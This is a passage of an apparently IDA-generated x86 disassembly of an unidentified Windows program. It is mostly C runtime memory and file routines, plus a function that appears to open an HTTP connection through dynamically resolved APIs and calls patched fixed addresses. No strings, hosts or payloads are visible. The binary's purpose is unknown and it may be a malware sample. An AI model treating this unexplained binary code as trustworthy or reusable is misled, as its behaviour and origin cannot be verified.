		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88B
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98C
		push	edx
		push	eax
		push	offset dword_43A030
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF6	proc near		; CODE XREF: sub_401ACD+279Cp
					; sub_401ACD+72F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB05C, 0
		jnz	short loc_41AD62
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CAE38
		test	eax, eax
		jnz	short loc_41AD4B
		lea	eax, [ebp+var_8C]
		push	offset dword_43A194
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AD4B:				; CODE XREF: sub_41ACF6+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD58
		push	offset dword_43A18C
		jmp	short loc_41AD5D
; ---------------------------------------------------------------------------


loc_41AD58:				; CODE XREF: sub_41ACF6+59j
		push	offset off_43A188


loc_41AD5D:				; CODE XREF: sub_41ACF6+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7A
; ---------------------------------------------------------------------------


loc_41AD62:				; CODE XREF: sub_41ACF6+28j
		mov	esi, offset off_43A184
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41AD7A:				; CODE XREF: sub_41ACF6+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A140
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB5	proc near		; DATA XREF: sub_401ACD+7714o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A274
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CAE70
		test	eax, eax
		jz	loc_41AF4F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AE8C:				; CODE XREF: sub_41ADB5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAA
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEAA:				; CODE XREF: sub_41ADB5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEC4:				; CODE XREF: sub_41ADB5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEDE:				; CODE XREF: sub_41ADB5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CAF24
		call	dword_4CAF48
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF67
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CAF3C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CAEE8
		test	eax, eax
		jz	short loc_41AF48
		push	offset dword_43A258
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF48:				; CODE XREF: sub_41ADB5+18Aj
		push	offset unk_43A21C
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF4F:				; CODE XREF: sub_41ADB5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A200
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF81
; ---------------------------------------------------------------------------


loc_41AF67:				; CODE XREF: sub_41ADB5+153j
		push	offset unk_43A1D4
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF6E:				; CODE XREF: sub_41ADB5+17Bj
		push	offset unk_43A1A4


loc_41AF73:				; CODE XREF: sub_41ADB5+191j
					; sub_41ADB5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AF81:				; CODE XREF: sub_41ADB5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAC
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A72
		add	esp, 14h


loc_41AFAC:				; CODE XREF: sub_41ADB5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	esi
		call	dword_4CAFA8
		push	[ebp+var_4]
		call	dword_4CAFA8
		push	[ebp+var_1D8]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41ADB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000


loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0


loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------


loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DAp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------


loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------


loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi


loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB31+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi


loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27A0000h


loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F089p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------


loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]


loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax


loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]


loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------


loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	loc_41B342


loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DC900
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi


loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h


loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5


loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi


loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27B0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi


loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h


loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A


loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi


loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		call	near ptr 2850000h
		nop
		mov	edi, eax


loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B


loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB2FC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------


loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi


loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C2F4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi


loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h


loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B


loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DC904
		call	near ptr 27B0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi


loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------


loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2850000h
		mov	edi, eax


loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B


loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB2FC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------


loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi


loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2850000h
		test	eax, eax
		jnz	short loc_41B49D


loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB2FC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D


loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax


loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------


loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB31+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB2FC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510


loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE


loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DC908
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DC900
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------


loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi


loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C2F4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------


loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi


loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DC904
		call	near ptr 27B0000h
		nop


loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
